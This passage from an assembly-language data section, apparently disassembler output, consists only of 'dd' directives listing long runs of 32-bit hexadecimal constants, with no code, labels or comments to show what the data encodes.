		dd 9478AF00h, 0A346C9h,	606DB124h, 135B7F6Bh, 1E05EA00h
		dd 3B3C2FE7h, 0AA0F17D0h, 0F01AE06h, 0D874B696h, 0E4F33D0h
		dd 0A057FBEBh, 140009CBh, 0B3941506h, 9948B200h, 83858FF2h
		dd 0CD5839F3h, 986A02F2h, 0E9D46906h, 5E30DE0h,	0D7340EC6h
		dd 0C7084C86h, 5514C300h, 62197FDDh, 9D9E716h, 0E495F307h
		dd 84426901h, 0DDA4E0h,	3477AE81h, 2C99522Dh, 9FC30203h
		dd 0B06DCD38h, 0F712266h, 0E57E48B3h, 92A9FBC0h, 0A6001B7Fh
		dd 9B9A254Dh, 13ADDD1h,	1FE205FCh, 0E41398C4h, 7100AD84h
		dd 0F350332Eh, 0B56CFBh, 0EBCF3F72h, 0B6B3F1C9h, 601F612Dh
		dd 160D4Fh, 90921DD1h, 0B0C9B53h, 8F1AD400h, 0F9A5497h
		dd 1CD20009h, 0CF51C459h, 0D307DE90h, 4F5A1457h, 98DD91D3h
		dd 0E5E1053h, 0DCA61151h, 2DB300D2h, 0A0CCFAC3h, 2220E605h
		dd 16C027BEh, 34481AFh,	0B85ABB1Eh, 91F8BA74h, 8F1D5295h
		dd 9F013734h, 0B00D22C9h, 0FC698C8h, 941B9C3Dh,	8984C0DCh
		dd 0C09B866h, 9B26EB00h, 0F068599Ah, 51CD0435h,	0AB4221E0h
		dd 1E9ED0A0h, 80503E65h, 9FCAC4E3h, 4B0B4378h, 80C3E41Ch
		dd 49457A57h, 23D758EAh, 0E0A350h, 5C0B0324h, 0E1907EA1h
		dd 0FFF2001h, 6955045Eh, 56BADF80h, 3CF5CCCDh, 6109FB70h
		dd 20827FA0h, 936FECF7h, 380A00ADh, 893A522Bh, 9B16972Ah
		dd 7F00A358h, 0C977FAF0h, 0EF850003h, 6FE2E6ADh, 0A3F2114Bh
		dd 2F055E03h, 0BF6A910Dh, 0F4A722E0h, 0FE2501A8h, 0A0563A0Eh
		dd 605E8BCh, 28E90A00h,	3EA3A5C7h, 693300E8h, 43BF5270h
		dd 2E006B20h, 0D677270Eh, 96FC5967h, 532A26CAh,	30B77391h
		dd 8F001201h, 34FFC7EAh, 7E8B200Dh, 4D7A88h, 612DB618h
		dd 0A4110A69h, 0AD224100h, 2EA99225h, 79C94CC5h, 631E097Bh
		dd 4310B180h, 0C700089Bh, 0ACB6542h, 0F781E8h, 66FC303Bh
		dd 0C6D74828h, 67537F00h, 0F3E11157h, 6D910109h, 0FAA1B7D8h
		dd 0EFDADC32h, 2694F200h, 0C5A585A2h, 447C73h, 0E19ACCF9h
		dd 7B557DD6h, 260AF2EEh, 8643B1FBh, 93755C00h, 12613483h
		dd 75ED46Bh, 207167CCh,	0F8DB73B8h, 9FE1E804h, 0E28C75FBh
		dd 0A5220054h, 2FD1638Ah, 35CE27Dh, 0BCCB0059h,	147F34EAh
		dd 0C9F1004Dh, 2F973E0Dh, 0AB3E6087h, 91B1013Ah, 46A26F26h
		dd 3C81ACD8h, 9280A81Bh, 7E83E22Fh, 7C30334Dh, 0FBA5A00Fh
		dd 90540006h, 329150FEh, 0F4002D3Ch, 6DE47EB3h,	1208EAEEh
		dd 0EC452A09h, 0F0331F09h, 76ACBBC0h, 15323D31h, 0B9C0AEEDh
		dd 0EF03403Dh, 6A7FBEB0h, 0FCF229A8h, 6E096D7Fh, 9834F180h
		dd 9EB7C0Bh, 0EF6C86Fh,	0F1476B01h, 4DA2050h, 0E62C9770h
		dd 452686E3h, 9347A049h, 3A51E9h, 159487E4h, 7C5EBBEBh
		dd 46BC5300h, 0DE7F6A21h, 1B7500E1h, 649B7D14h,	4900429Dh
		dd 0D2EFDB4Eh, 0F53276h, 4768A47Bh, 0B9FA374Ah,	7CD7B800h
		dd 0B79BF87Fh, 0D82D07E8h, 0B9571A5Dh, 2C9D5C41h, 0B1C20710h
		dd 0E5738077h, 360C04C1h, 0C0F15ADDh, 0E0030223h, 0C4013BECh
		dd 9E5B9748h, 32FA6C9h,	589F946Bh, 28191BB9h, 82257Fh
		dd 21DD1E87h, 5B800096h, 0D84DE0A3h, 65091946h,	0F9DDE5Ah
		dd 6618A733h, 0E599DA30h, 2F9A15D8h, 0A4009F53h, 113F734Ch
		dd 2B608EB4h, 3A62B8CEh, 0B671A7h, 21F5D534h, 0C445C3D9h
		dd 20958600h, 98A3BBBDh, 813609FCh, 26A03012h, 5FA9918Fh
		dd 0C0ED0900h, 0A71EDD8Ah, 1DCC0F88h, 0E1C03221h, 8E391972h
		dd 511B465h, 0C0C20F92h, 0D8B3CDh, 231D8048h, 5544BD1Fh
		dd 0B5283363h, 0B18FF820h
		dd 243C7406h, 2788A8Dh,	0CB355F0Ah, 0B87A6952h,	454C7309h
		dd 0FA46051h, 0BC861931h, 740D347Bh, 5002AF2h, 3D39A0C2h
		dd 0E3ECD68h, 49D7FDB0h, 0A479F0A3h, 77C3104h, 23B0E5ACh
		dd 1710003Ch, 0EFDFF122h, 3A00F7F4h, 3F60A140h,	49A3D23h
		dd 5214C7A8h, 9DF282F9h, 802BB3E1h, 88AB6A2Ah, 482AA089h
		dd 0A600A41Fh, 0CD94D74Fh, 905C51F2h, 0DFF90001h, 6181A263h
		dd 0F5400CEh, 9E97225Ch, 90E945Dh, 0AD29E817h, 2A341182h
		dd 0A3250070h, 0AA75F7C9h, 490E486Bh, 60E0B566h, 5AE55F8Bh
		dd 39B2B8F4h, 278006D5h, 93D44D74h, 4A01CCDBh, 0D7ED4C15h
		dd 0C6D26B2Ah, 0E4D009Bh, 1FC33E53h, 0C263C6B8h, 93BC17DCh
		dd 1137E05Ah, 0CCF30025h, 49C958D2h, 65966B26h,	0C0EDF48Eh
		dd 13C27516h, 0D3EC01B9h, 3EFBD8Dh, 0D05321D7h,	0BA00FF91h
		dd 0C7BBC8C1h, 4A0B9E7h, 16DB1C15h, 0EDC3B08Bh,	4620A607h
		dd 99702372h, 1CE92598h, 0BCA0A245h, 82F10C00h,	6C5601E1h
		dd 4EBD13C4h, 123098E1h, 0FE91006Dh, 0C122DF04h, 4C6436A1h
		dd 0F0A09D29h, 0C4CD00F2h, 3A3778B9h, 0C62CED27h, 600173CBh
		dd 0B117FE06h, 0B300BC28h, 27EA0D04h, 357690BEh, 0A85B2D02h
		dd 60295EE9h, 4162A2h, 0C6AC5F40h, 0CF87C423h, 79DDFF01h
		dd 358D33A6h, 7D004538h, 0C823A593h, 0E649C4D3h, 0F7D800D2h
		dd 87298504h, 0B8060F68h, 0FFE098F3h, 82CED51h,	0E507BA79h
		dd 0DB78BB76h, 88EF5A20h, 49C800F2h, 0DC66D801h, 0B500917Fh
		dd 0E0D2EEAh, 37F89Bh, 0A9C54285h, 9F1E20C7h, 6FBC9200h
		dd 23900704h, 8F535D5Eh, 780A3280h, 0C5E8C479h,	7D9C3E16h
		dd 9392F100h, 1621702Bh, 0E354B4h, 6438A363h, 1C139959h
		dd 1C886F42h, 6D53006Ch, 3840CED7h, 4B07F751h, 0A7C9A9CAh
		dd 178D3E91h, 24248FC8h, 9903767h, 6DA4AB66h, 0D7FFC014h
		dd 570CAA6Bh, 22B769C0h, 0EBD6A126h, 2ACC96D9h,	2B081309h
		dd 3FC9800Fh, 7505B270h, 4B58136Ch, 0E02379C2h,	24831023h
		dd 832E181Bh, 15A8698Ah, 0E4F9E1C4h, 1431A968h,	97897A02h
		dd 4611A9h, 17AA6794h, 1B09D61Dh, 7D545665h, 68121FB6h
		dd 31FA108Ah, 2B3967E0h, 0C4BE0A25h, 20C0879Ch,	67CA2ABEh
		dd 66AA2BF3h, 495E843Ah, 0E8B531A8h, 7E0D33Dh, 0A1085B6Fh
		dd 1FA22E24h, 5BCBAFA5h, 7B2DE907h, 0D194EFFBh,	583E4600h
		dd 2A857FC2h, 0B8B22500h, 7DB2052h, 0FFC50003h,	99B51BE0h
		dd 730FD941h, 203F2181h, 0EB7D1932h, 0C7140067h, 0EA6D9E57h
		dd 0D00E4C4h, 4A73A215h, 0F58441Ch, 8B0F0237h, 4F01666Bh
		dd 31963D50h, 8FDFEC60h, 5037900h, 0A682D34h, 977700F7h
		dd 0C01E24E6h, 167D515Eh, 74D65400h, 45673D3h, 0EB441F96h
		dd 0E56A802Ch, 0C2FB772Fh, 1D3758h, 6CEA2E0Fh, 62D3BC5h
		dd 0E86B849Ah, 0E23BFF0Ah, 91C01FEh, 1B8E6C9h, 3869C8Ch
		dd 0CC278021h, 0FA31C0B4h, 6814C567h, 0CEB8D9h,	8BD3805Eh
		dd 0BDF932FFh, 81FABB80h, 0D006F1C1h, 10E91707h, 735F1E4Bh
		dd 33F84067h, 18E3B631h, 9EEA1600h, 81AAA83Fh, 6B071CF1h
		dd 0C3F86F15h, 4EB55B00h, 0A89FC3Ch, 0C0C14B8Bh, 0C7B70F67h
		dd 1585D0FBh, 0BB665FC1h, 0E7464602h, 0B4F12713h, 0A20309D4h
		dd 9828FF18h, 30500165h, 3E2508E9h, 0B7E2D523h,	689F9B0Fh
		dd 0C0FED358h, 4BBE4ACFh, 0B88F3500h, 0FE5F70E0h, 3992E87Dh
		dd 12005752h, 0D5BFAD6Bh, 2C3CFF46h, 3EDE3C3Ah,	540D063Dh
		dd 3C08E319h, 0D401D112h, 0BEDE9B58h, 9C219D3Ah, 501ABF06h
		dd 0AD920211h, 73BD40B2h, 9F031C89h, 11018719h,	478FC7EBh
		dd 6B0005F6h, 800862A3h, 353D152h, 7C4D908Dh, 0D033AD2h
		dd 24B5F8A6h, 49C8843Dh, 1CDB1473h, 2911D01Dh, 27930150h
		dd 10301B04h, 70F6C5h, 5D740364h, 84BBC282h, 0E05E8E30h
		dd 506EB051h, 1DCA84BAh, 58BFF842h, 0A5BE10D4h,	513C6812h
		dd 8700D7A8h, 0AFF7D647h, 0CC1F0A0Eh, 60F1126Bh, 0CE0795B6h
		dd 806BC6Fh, 24301065h,	0A7ADC1E5h, 0CB7139D5h,	0B6A0D900h
		dd 8677D26Fh, 79C8993Ch, 0DD6A307h, 0A2409A7Dh,	0F1BD79A7h
		dd 3ED90320h, 0E39DCE7Eh, 0A8120BA4h, 0D073AC00h, 6E1EA99Eh
		dd 807D966Bh, 9D9FA4AFh, 0E9972DDh, 0CF7BD670h,	5277DCA2h
		dd 0C1243894h, 293CE5CDh, 0C45018CCh, 79D7E8A1h, 0B07360ACh
		dd 71D28A7Fh, 6B9B8300h, 0C8A7CC9Dh, 128100C4h,	73A37BBBh
		dd 0AE7890BCh, 0A575B601h, 5297B28Eh, 0C6876840h, 686EF091h
		dd 0A3DC39DBh, 5652E104h, 84108139h, 2A8866B9h,	5CE5C850h
		dd 9D7407EBh, 60F9BDC1h, 0A5BB3A34h, 0C8D3D40h,	0E2A3B053h
		dd 0D40AD118h, 88FD050h, 38000C12h, 32FD80FEh, 84050640h
		dd 59E42617h, 2DEA0E09h, 0C000890h, 8E884EC6h, 6939300Ch
		dd 80F2D330h, 58336630h, 0C093BDC7h, 0B958BB79h, 40C289C4h
		dd 4B0CD382h, 4A4030A0h, 58679C59h, 0D18278A8h,	27580150h
		dd 21BE3343h, 5090DF2Fh, 34E0C4EFh, 48E8803Ah, 98382B31h
		dd 0E74713E8h, 5AC841DAh, 8181F5F1h, 98289328h,	0C9D313C5h
		dd 19BFF811h, 47247C3Ch, 9C596E4h, 0B880EA96h, 0B98242E8h
		dd 50B06874h, 3B19F2F9h, 290EBB10h, 0B0754Ch, 0F26CFF82h
		dd 30BDFD02h, 0D19272Eh, 704DBE41h, 68F01414h, 0D3BD0258h
		dd 9D3F84C3h, 7A81164h,	0F6B9B241h, 0BCA08C2Ah,	0B8405A42h
		dd 9A2C84ECh, 6C85906Ah, 0F0428A4Fh, 99FE3EA6h,	0E04184F8h
		dd 5C3052A3h, 531E84E2h, 0C62093D0h, 0C15B6940h, 0D11AD514h
		dd 0A346C88Ch, 287150E4h, 0BDC5AC13h, 42987C26h, 5B90645Ah
		dd 82119A21h, 617D468h,	3EA321B6h, 9D884CC5h, 0ACB0A479h
		dd 97664A1h, 0A0599830h, 0B2D10648h, 118209C8h,	0C1978E4h
		dd 0B9511246h, 99A38E80h, 14450A0Ch, 0D3B3058Ch, 0A1048ACBh
		dd 884CC701h, 10E0D6BBh, 4621F478h, 942F6C0Ah, 8620044Bh
		dd 0D102854h, 0A1D9C82Eh, 99B24680h, 5280C8Ch, 0AC138C3Eh
		dd 0C3F70FFh, 7C336E84h, 3B2E1293h, 68A8376Fh, 974680A1h
		dd 170C8C99h, 542D0B72h, 23FF9CACh, 0FB21D4EAh,	0E9B137BFh
		dd 1442A03Eh, 4213DAC0h, 1492DEE7h, 58D84653h, 0BE198674h
		dd 8850AF61h, 70F889E0h, 0BE43184Dh, 7F34517Ch,	0ACB1A8A4h
		dd 0B4221B13h, 0AFD89AFFh, 586D9230h, 2C264C09h, 7C8D15A8h
		dd 7C89CA23h, 1CF6FE0Ch, 49B106Bh, 21E03F9Ah, 5B7883E2h
		dd 2D88C8D7h, 44DC2881h, 1EE3FB5h, 84188360h, 355320D3h
		dd 0C670FB68h, 0D12071DEh, 4E9C8175h, 633C0A17h, 15F1794Dh
		dd 0D01F1B12h, 0B1612164h, 0FF58A43h, 1CD8551Bh, 4011EE3Ch
		dd 6CE113FFh, 70FA0059h, 0B7BF3876h, 0C2B28383h, 0A9C1127Eh
		dd 0C4B8F060h, 1470A83Eh, 391453C1h, 7C2EFC88h,	1201247Dh
		dd 0DC932D9Fh, 0CF14A837h, 9111EC39h, 828E005Fh, 2BBBAF9Dh
		dd 3E432434h, 0A4D83B58h, 204D524h, 5A4568FEh, 0C0EE1048h
		dd 1194955Ch, 7139E6AEh, 35B8820Ah, 5D4A7020h, 12A40F8Ch
		dd 405225BAh, 28697490h, 8606C593h, 7ED30187h, 21706F08h
		dd 0F72881A1h, 0DE52C4C5h, 4DF058C0h, 4DEA47AFh, 5A00140Bh
		dd 7F357757h, 0E0C0292Dh, 14FEB97Dh, 2580A071h,	5851C03Fh
		dd 8249FDA7h, 0DECB700Dh, 744719C4h, 0ACF868C9h, 0A7BB01B4h
		dd 52723FE1h, 59198004h, 45506869h, 36190C0Ah, 0E6413B24h
		dd 4A668400h, 72E2ECC1h, 8BCA0098h, 0F071B3FCh,	0BB3FE30Dh
		dd 3E5F81F2h, 694C5AD5h
		dd 694130F0h, 802B045h,	60C00CD6h, 492647D5h, 8B0D64F1h
		dd 8001204Ch, 2080027Eh, 0CF441C6Ch, 1A795C33h,	0B499C1C0h
		dd 0DC27A5h, 0EDBB0F1Fh, 6C69ADCFh, 4EDBE900h, 3DE6258Bh
		dd 9BFC72h, 95C16143h, 93CA77ABh, 1681823Ch, 54271A5Dh
		dd 3D64F560h, 0BA600091h, 61158BB4h, 0C2584F0Ch, 0FC470984h
		dd 8C0CA0FFh, 12B0104h,	869A7A7Fh, 0F9A48270h, 0A72180D2h
		dd 5FE9A06Dh, 3F8500BEh, 941107F8h, 8D00D1F0h, 825A0951h
		dd 662DEB9h, 0A3D9D6D8h, 0B000A035h, 0EEE19791h, 127BBB8Dh
		dd 9075BF43h, 3CC148B4h, 0A0924180h, 2030F20Ch,	0A6002AA5h
		dd 85FBEA13h, 0F9C86FFAh, 37026C60h, 89E9BB41h,	36ABF003h
		dd 72B2AE80h, 0DC96CA28h, 0F78EC481h, 5EA08CC3h, 76059597h
		dd 3E837C6Bh, 0D79AFC40h, 13C1F872h, 3E4DCB5h, 528C7CB8h
		dd 0D884210Fh, 442C82D1h, 178181F2h, 4CCC033Bh,	6009871h
		dd 76807C52h, 0AC003013h, 0D8EF6491h, 9F6F5Ah, 5C490215h
		dd 9C6DBB98h, 20848224h, 9A420400h, 5AC2AA93h, 0B85809D1h
		dd 2898AC33h, 7646C5A9h, 7D007822h, 0F5E2883h, 0D9A3F8h
		dd 43BE64B1h, 367C07C7h, 67195716h, 9A896h, 0A0ABADBBh
		dd 6CB7D821h, 0D5732005h, 0C886AEA6h, 5847161h,	0E326DF21h
		dd 72E800B8h, 6C9DACCBh, 525AC300h, 4FCD19D8h, 3E88919Eh
		dd 99432518h, 101D46EDh, 2980A470h, 0E11979CAh,	0C0020BBBh
		dd 8802C9AFh, 462D366h,	873F4485h, 0D11A246Ch, 0F0325440h
		dd 0B924B542h, 9112E0AFh, 212BE44Ch, 42BA0051h,	0ABDCEE2Eh
		dd 6E03319Dh, 3ACD62E9h, 7C5804E3h, 0C09B574Eh,	7780112Ch
		dd 689CD4A0h, 280EE40Ch, 5A1A108Ch, 9103567h, 7820D876h
		dd 8CF603AEh, 0DCB0AA2Eh, 8D1CDB1Ch, 0B4109F40h, 1482AE6Fh
		dd 9CF3F0A0h, 3ABB9A80h, 0B9645259h, 888770B1h,	6912307Ah
		dd 2E258806h, 6CEF0011h, 0BB11109Bh, 1300F6A2h,	1D9F66D4h
		dd 127C3050h, 856C28Dh,	10ADE34Ch, 1F6580h, 0DF43A21Bh
		dd 387FA34Fh, 0B997C000h, 5571447Ah, 0F8D50645h, 71471A9Dh
		dd 8A5B6300h, 0B2CFC89Fh, 498000BEh, 27D28BEBh,	44992591h
		dd 0CFC49500h, 1677F50h, 0FB4876B2h, 0F4993724h, 2D00CE69h
		dd 6C8FEB35h, 5B4352C1h, 7CE444C8h, 0F44A482h, 2874904Dh
		dd 0BB0510C5h, 9529BEE4h, 0AB69C003h, 6A97C1DEh, 90241479h
		dd 42CEC004h, 0CF46B9B1h, 7D002C22h, 5C0A42C6h,	798EE9h
		dd 29839D51h, 258CD569h, 80E3193Ch, 1F218C7h, 54F44760h
		dd 9E24A0DCh, 1CA38928h, 65B9DB80h, 0D906F572h,	0A432B4FCh
		dd 4D3624D0h, 33D558A4h, 0BBDF1C00h, 675E7E5Ah,	0E8D0064Eh
		dd 38C7A805h, 61398B37h, 0D5DEFF70h, 20C91C9h, 0A49453BCh
		dd 70E4F845h, 0CDC7A160h, 74DA0624h, 7924EA00h,	12A9D816h
		dd 187C13A4h, 21D33104h, 3DA0AD09h, 0C6309152h,	281F7518h
		dd 1163C5A7h, 6D7F006Ch, 1B098A28h, 78686220h, 9B2AAh
		dd 82D55DC0h, 8810D0E1h, 0D38F7100h, 5310F58Eh,	30099109h
		dd 0ECBCA0C1h, 0F9594854h, 97E983Dh, 0BDC09967h, 0AE961180h
		dd 34961AF1h, 20E1908Fh, 189509B7h, 23EE0E39h, 21400C10h
		dd 0D0369294h, 506CB52Eh, 2C59BF08h, 83723E5Ch,	322D4EB0h
		dd 0BAECD61Eh, 0B8DE87C2h, 611C4840h, 70192F0Eh, 1404C029h
		dd 0C03C9892h, 0B9B74208h, 402FC4BFh, 8D42B853h, 0A27203E0h
		dd 0D00ECDC5h, 687855h,	0A8FEBB14h, 950760BAh, 86491A10h
		dd 588A1982h, 50980B90h, 10A35E31h, 0A9C1F0EAh,	85108032h
		dd 4145591h, 958E0034h,	187228BDh, 94BB64E5h, 4438A4ACh
		dd 93E44Eh, 0E7137715h,	9AA5345Dh, 0E9E8E100h, 5FB1EAF6h
		dd 2DC40FF5h, 2300A077h, 2F6C17C9h, 50119932h, 4641Ch
		dd 69F9474Fh, 0C7EA3F63h, 28160400h, 87BD5AFFh,	891D1F3Ah
		dd 0FE39C3C5h, 0E81F6944h, 0A4CAC193h, 531288B3h, 0B9323CD1h
		dd 0E2E5FAC0h, 678D0369h, 30982647h, 782C39CBh,	7A01ACB6h
		dd 1538352h, 0B4EDD180h, 0B684C0D3h, 8C49B490h,	59C77AB8h
		dd 7B60ACC2h, 12F9FD1Dh, 8291A692h, 0DE01661Ch,	0D1BF13C1h
		dd 0C5423281h, 24BB1ED5h, 44492514h, 0C6DA0078h, 0A1EEBFADh
		dd 285F633h, 232A31A0h,	186629D6h, 381EF11Dh, 0C43FD200h
		dd 2CF43C8Dh, 1EC7776h,	6AB5BC7Ch, 43AC21C1h, 0ADB25A3Ch
		dd 3B06385Ah, 74D4BDA6h, 3B5096Eh, 0E4002F7Eh, 16583D1Eh
		dd 5AA0A162h, 0A42304BCh, 0AA484E90h, 53870983h, 2B70801Eh
		dd 265A99AEh, 1049EFDh,	4DF09C5Dh, 0D2B6FCC7h, 8D50049Ch
		dd 11820D72h, 0C8909458h, 8371D4D7h, 420A38C4h,	0F6B974D0h
		dd 0A0455044h, 0A2F11358h, 380C8093h, 2EEEAAA9h, 20C0C77Dh
		dd 0BB2FD00Dh, 8820A792h, 1AC29641h, 0BDF44878h, 0BB990253h
		dd 0D82D6A39h, 0E5500540h, 690F110Fh, 0BE33C0A5h, 927D06BBh
		dd 0C7941830h, 3F1AB00Ah, 3CB1ECA8h, 371573Eh, 40115B02h
		dd 78E00791h, 2D30C24h,	0E8E3A760h, 1C48D792h, 0DD77944Ah
		dd 0E2484900h, 8E431834h, 9BB60D62h, 90C98483h,	933A3DE8h
		dd 4036B597h, 0EFFF030h, 4D01EA9Bh, 6A9B46Ch, 0FDE01AC6h
		dd 796924C8h, 93B51EE8h, 1D45FD8h, 0A90DD69Bh, 3E983D1Ah
		dd 0F67881CBh, 0BF67950Ch, 0B125ACD8h, 0E3B001Ch, 15BBD898h
		dd 9B2EEB00h, 3884C269h, 0F65D1E91h, 8390C063h,	0F235942Ah
		dd 159F11C7h, 439A2500h, 0B47B54BDh, 77233066h,	9D6F3F59h
		dd 27CBD01Dh, 0B73A2800h, 9E6158F0h, 0C81B0660h, 0FF00386Ch
		dd 0BD23377Bh, 188AE7h,	5397B2EBh, 9FD30F5Ah, 0E50A1E03h
		dd 0E0E026B3h, 78251D66h, 151B02B9h, 0CA539BBDh, 6C07AC2h
		dd 281582E3h, 0CF14980Ch, 0A4B206F1h, 98EE1830h, 0F7A7741Ah
		dd 669E1500h, 0AFB30A0Eh, 0E40B001Eh, 72B14D9Dh, 20071FB2h
		dd 155A50EAh, 6483F3h, 0B1B8218h, 1F1999EBh, 0B3E97998h
		dd 0A0122880h, 740E22ACh, 26F40CEFh, 0BB7883D3h, 31F2A730h
		dd 0C2ED2527h, 23A5D359h, 0DA530C99h, 0B61E84A1h, 0E807CC9Dh
		dd 261A8201h, 927B3E3h,	1447A6CDh, 0A82C3E43h, 0F69A8664h
		dd 9535327Ah, 0F540B118h, 8E18D250h, 9131543Eh,	4B880035h
		dd 98DAB3AEh, 0CD00A6ECh, 0A3E6D4D1h, 1BEB4Fh, 15E737C7h
		dd 2C52E297h, 556E4400h, 0AE369A8Eh, 0BA87009Bh, 5DA2328Bh
		dd 7D63347Ah, 0C8C0DA71h, 0BC924Bh, 36629B8Ch, 4697DBFEh
		dd 9EB7D718h, 7517F228h, 43AA0C77h, 18987E20h, 0D3A16C65h
		dd 86AF1808h, 6873A231h, 19289942h, 89120E68h, 9B6A363Dh
		dd 3C440F2Ch, 0B09E10B1h, 48109C34h, 29183340h,	33D36238h
		dd 58B8B14Ah, 659C2924h, 90893032h, 63FA30A8h, 0E2183088h
		dd 65005970h, 0B3B64382h, 0C07D5C2Fh, 26D05240h, 51500AA7h
		dd 438CB0D0h, 0BFE41196h, 142DBE80h, 30C64E26h,	0C198A1Bh
		dd 41D35C7Eh, 0F5051E68h, 3E86E127h, 0F13AA44Ch, 0DDD614FEh
		dd 0A16CDC7Ah, 0ED301C3Ah, 7F9B311Eh, 0BE18CA98h, 58D2954Ch
		dd 0F7BF8440h, 74356117h, 0BE18213Ch, 0C45E0639h, 2431A6E8h
		dd 8A5CF589h, 0A4CF49Eh, 22585DFEh, 91A760E8h, 32744472h
		dd 39DF2890h, 65FF1202h, 0D0A49061h, 0B4628554h, 31744D50h
		dd 0B2328B8h, 0D1A84479h, 0A8C80AE7h, 50664EC4h, 0F97908E5h
		dd 11D1B20Ah, 881FEE61h, 0D3518060h, 1F35C609h,	0CD44E108h
		dd 3835F122h, 0D74475A1h, 28EB1025h, 7D4254ECh,	147EA88h
		dd 3242D438h, 0A947FF88h
		dd 7E46D4B8h, 82091834h, 6C68325Ch, 468A9035h, 4C244D60h
		dd 591E1209h, 0E3166011h, 6148BEDBh, 0C4817C8Ch, 54206188h
		dd 0D982C580h, 99D747C9h, 50D60004h, 0A1311279h, 8F60A092h
		dd 78F89659h, 0A48E4D34h, 0AA351167h, 3843634Ch, 20986148h
		dd 0CC8544D1h, 885509DDh, 0BC3AC048h, 0C14443ABh, 298E5A11h
		dd 12E82214h, 0DC348818h, 0D81A836h, 0B2D613B8h, 2657F511h
		dd 0CE29FA4h, 918ABBBAh, 99075011h, 5707AD45h, 1BD7BF0h
		dd 9041011Bh, 1C27F34Fh, 999C2431h, 0B86A0607h,	5EA18F8Bh
		dd 7884F194h, 0D5B923EBh, 506309C4h, 43162C82h,	4799A484h
		dd 0B6F4C476h, 74D444C0h, 0CF22003Bh, 0E2FA18C7h, 4700F46Eh
		dd 1F1E58F1h, 35A4D3h, 9C70D79h, 0ADC5F0B9h, 2A01DC98h
		dd 9508BA9Eh, 30E0E3CBh, 3E1E036h, 0E8B9CE57h, 287CA4B5h
		dd 19245E30h, 6111F039h, 2F3E30C5h, 0C80C2050h,	31CC7088h
		dd 9C98C7FCh, 869C50C4h, 0F4096620h, 8FB83479h,	8858D83Ch
		dd 49247h, 0E13C9AD7h, 0FCF2993Ah, 8846E00h, 111FCDBBh
		dd 647A00B6h, 50908B44h, 9B00F13Eh, 9CB0402Ah, 0A0D137h
		dd 0D2501C5h, 0B43A2172h, 303A8E7Ch, 2D65808Bh,	0D151CDA9h
		dd 19950FA6h, 1E86F142h, 11C3283Bh, 0E0431B9Ch,	3C02C8h
		dd 2E65B3A7h, 0D701B48Ah, 12F0C0FEh, 503D9BF8h,	64788039h
		dd 3968B41h, 91B0012Dh,	6D12F15Eh, 0FB045A84h, 78D65580h
		dd 0A701142Dh, 99435E77h, 184A85C9h, 0F89C140Ch, 9D00C610h
		dd 0F3D76641h, 0F0696CFh, 0AB47354Ah, 1858B3CEh, 900FE98Dh
		dd 81532BEFh, 816AAAE8h, 0AB0488Fh, 6357FDA0h, 5D002668h
		dd 0F365A654h, 10FD093h, 52EEAFB6h, 309E78DCh, 0FCE3AB16h
		dd 0E53FFF4Ch, 0F7AC80BAh, 0EAC0FE1Ah, 8C5D0095h, 1CAE0FE8h
		dd 0BC3AA8ABh, 0C9650CE9h, 18B01886h, 70E403E2h, 0B12842ACh
		dd 3F064012h, 0F7049511h, 1D320ED8h, 1D9E6EB4h,	52F833AAh
		dd 93E8A9F8h, 80C72621h, 0BB5696BFh, 3C8FF483h,	8D3010Ch
		dd 0A8060510h, 0F3CF864Dh, 39730868h, 0C1166341h, 95E87A00h
		dd 309E7C2Eh, 8D186F03h, 0ED31D8B9h, 39A04043h,	5D1703E6h
		dd 7E7A5019h, 0B1855A78h, 28A14212h, 0D2117E8Ch, 81E6C4A4h
		dd 0D6053B1Fh, 0F8848828h, 7A498400h, 0A9A7F2Eh, 0C7B4916h
		dd 29B1FF00h, 1E9ED109h, 0A122701Fh, 69504428h,	48C4AB48h
		dd 28988605h, 5E6491ADh, 758BD49h, 166F8B3Bh, 4D1C10C0h
		dd 7EEC7C8Dh, 6177CEh, 0D73795A9h, 3E1B77A2h, 1AC88B1Eh
		dd 782C9B1Dh, 8EB51760h, 0A7302C2Ah, 0F1073E54h, 40683BAAh
		dd 0B4131B91h, 26855C05h, 44328914h, 651AE8A0h,	0AC427F36h
		dd 56490504h, 34668A12h, 0D808010Ch, 0F2AA121Eh, 30316E25h
		dd 8484D71h, 861DF867h,	0F27C04F8h, 0A2A09953h,	822D027Ah
		dd 0FC9C1D04h, 4408A6CBh, 21896C29h, 2030B4E2h,	85748151h
		dd 0A71110A5h, 57784322h, 0F8088C8Ch, 70068294h, 9D4D112Dh
		dd 160ABE9Ch, 420C442Dh, 8CB264A8h, 47715000h, 0E4A1D55Ch
		dd 22F713F2h, 1D44F809h, 12F3891Eh, 481924F4h, 221F911Ah
		dd 26254420h, 1C121B89h, 22482124h, 28222791h, 35000D7Ch
		dd 7BAB614Ch, 63B96370h, 876CC1AAh, 846EB829h, 42EF465h
		dd 8A5F5B2h, 0B2BC0165h, 0FFF16373h, 116181E0h,	0A2746A7Ch
		dd 0FE0F6C00h, 0F2866EEFh, 297303A7h, 1689DF4h,	0F96D95A0h
		dd 9FE9E898h, 8100A540h, 8453EF8Eh, 6C100042h, 6D0FFE0Ch
		dd 1112F41Fh, 489A437Ch, 0FF04D0FFh, 5660B2EAh,	54A56088h
		dd 0DA11D667h, 747C4957h, 5838A592h, 0C1E22DA3h, 685DE20h
		dd 0AB42363Ch, 37450938h, 42F3814h, 0EEC0BAEAh,	467B0F9Dh
		dd 1E487902h, 819E4042h, 852E1A10h, 77B0384Ah, 37033BB1h
		dd 0CC7BB7C4h, 69A5E179h, 60331880h, 6E0D4107h,	8D7C3D73h
		dd 40FF1CA0h, 60B5F903h, 0A58ED0B4h, 0F5322822h, 5D4BE438h
		dd 41A8D533h, 3E278B14h, 0BF004130h, 0CA5A54ADh, 0CDF05E38h
		dd 5C847200h, 621FB4A1h, 217100BAh, 2B3B011h, 6E38D02Dh
		dd 0CD00FF47h, 0C9AA3E51h, 7A8392Bh, 113402C7h,	8C12C0DEh
		dd 3E0F5779h, 19A38Bh, 3484ADB5h, 0F07A7BB4h, 369007A5h
		dd 0B7C5AA40h, 3991C043h, 9B52AF3Bh, 780F7C40h,	9A3C36h
		dd 0C9D6F146h, 0A5403E19h, 303054A9h, 77B64598h, 41C2D53h
		dd 0CAA7123Dh, 1BAE1103h, 0D177A599h, 0F7604C3Bh, 0A751ECA5h
		dd 0C4A4897Eh, 29E8E807h, 1811422Bh, 0A4F89217h, 3ADF2F80h
		dd 9824485Eh, 3C5830C2h, 26B4038Bh, 6A828A11h, 5EA2BEE0h
		dd 38B65529h, 48A11280h, 293BEFBh, 0C89B4618h, 14BA4B19h
